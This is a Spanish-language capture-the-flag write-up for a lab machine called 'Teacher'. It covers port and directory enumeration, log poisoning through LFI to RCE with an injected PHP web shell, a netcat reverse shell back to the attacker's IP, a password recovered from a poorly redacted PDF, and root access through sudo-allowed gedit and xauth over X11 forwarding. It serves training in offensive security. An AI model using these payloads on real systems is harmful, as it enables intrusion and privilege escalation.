063 - Teacher - wh01s17

Enumeración de servicios

Comenzamos enumerando puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.31
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.31
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-07 11:54 -04
Nmap scan report for 192.168.1.31
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 1e:21:69:d3:57:da:3a:04:0b:6f:f4:50:fb:97:13:10 (RSA)
|   256 36:ee:7f:57:1d:a5:b5:ce:1f:41:ba:b0:43:32:2e:ff (ECDSA)
|_  256 f2:bd:80:dd:e5:05:02:49:c3:3b:9f:83:29:cb:54:96 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 'http://192.168.1.31' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh -r
...
/log.php              (Status: 200) [Size: 23]
/access.php           (Status: 200) [Size: 12]
/rabbit.jpg           (Status: 200) [Size: 130469]
/clearlogs.php        (Status: 200) [Size: 0]
...

La imagen rabbit.jpg esconde un mensaje (que resulta ser un señuelo):

❯ stegseek -wl ~/Documentos/wordlists/rockyou.txt rabbit.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "rabbithole"
[i] Original filename: "secret.txt".
[i] Extracting to "rabbit.jpg.out".

❯ cat rabbit.jpg.out
RabbitHole lol

Log Poisoning via LFI RCE

log.php muestra «your logs:», lo que sugiere que incluye o interpreta un archivo de registro. Fuzzeamos parámetros en access.php para identificar qué entrada termina almacenada y luego reaparece en log.php:

❯ ffuf -u 'http://192.168.1.31/access.php?FUZZ=access-FUZZ' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt --fw 2

Vemos que access.php registra el parámetro id y los cambios se reflejan en log.php. La cadena requiere dos condiciones: controlar una línea del log y conseguir que un LFI entregue ese archivo al intérprete de PHP. Inyectamos código en id y utilizamos cmd como entrada de la orden; la salida de id confirma el RCE como www-data:

http://192.168.1.31/access.php?id=%3C?php%20system($_GET[%22cmd%22]);%20?%3E

http://192.168.1.31/log.php?cmd=id
your logs: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirmado el RCE, lanzamos una reverse shell:

http://192.168.1.31/log.php?cmd=nc%20-e%20/bin/bash%20192.168.1.10%201234

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.31:40368.
whoami
www-data

Incomplete Redaction

En el directorio web hay un PDF con nombre codificado, que descargamos:

❯ wget http://192.168.1.31/e14e1598b4271d8449e7fcda302b7975.pdf

La contraseña fue ocultada visualmente en una página, pero permanece legible en espejo en otra. Esto es una Incomplete Redaction: el documento sigue conteniendo una representación recuperable del secreto. Rasterizamos la página y la invertimos horizontalmente con GIMP:

❯ convert -density 300 e14e1598b4271d8449e7fcda302b7975.pdf -quality 100 archivo-%d.jpg

pass=ThankYouTeachers

Sudo-Allowed Program Abuse mediante X11

Con mrteacher:ThankYouTeachers accedemos por SSH y obtenemos la primera flag. Revisamos sudo -l:

mrteacher@Teacher:~$ sudo -l
Matching Defaults entries for mrteacher on Teacher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mrteacher may run the following commands on Teacher:
    (ALL : ALL) NOPASSWD: /bin/gedit, /bin/xauth

La regla permite un Sudo-Allowed Program Abuse, pero gedit es una aplicación gráfica y necesita conectarse a un display X11. La primera ejecución falla porque no existe ese canal:

mrteacher@Teacher:~$ sudo gedit
Unable to init server: Could not connect: Connection refused
(gedit:2685): Gtk-WARNING **: 22:11:35.380: cannot open display:

Reconectamos por SSH con -X (X11 forwarding):

❯ ssh -v -X mrteacher@192.168.1.31

Ahora falla por autenticación X11:

mrteacher@Teacher:~$ sudo gedit /etc/passwd
...
X11 connection rejected because of wrong authentication.
...
(gedit:2709): Gtk-WARNING **: 22:15:24.578: cannot open display: localhost:10.0

El reenvío crea el display, pero cada cliente debe presentar una cookie de autorización. Usamos xauth como root para copiar la cookie de la sesión de mrteacher al contexto privilegiado. Después, gedit se conecta al display reenviado mientras conserva sus permisos de root, lo que permite abrir la flag protegida:

mrteacher@Teacher:~$ sudo /bin/xauth add $(xauth -f ~mrteacher/.Xauthority list | tail -1)

mrteacher@Teacher:~$ sudo gedit /root/root

Obtenemos nuestra flag.

Fin.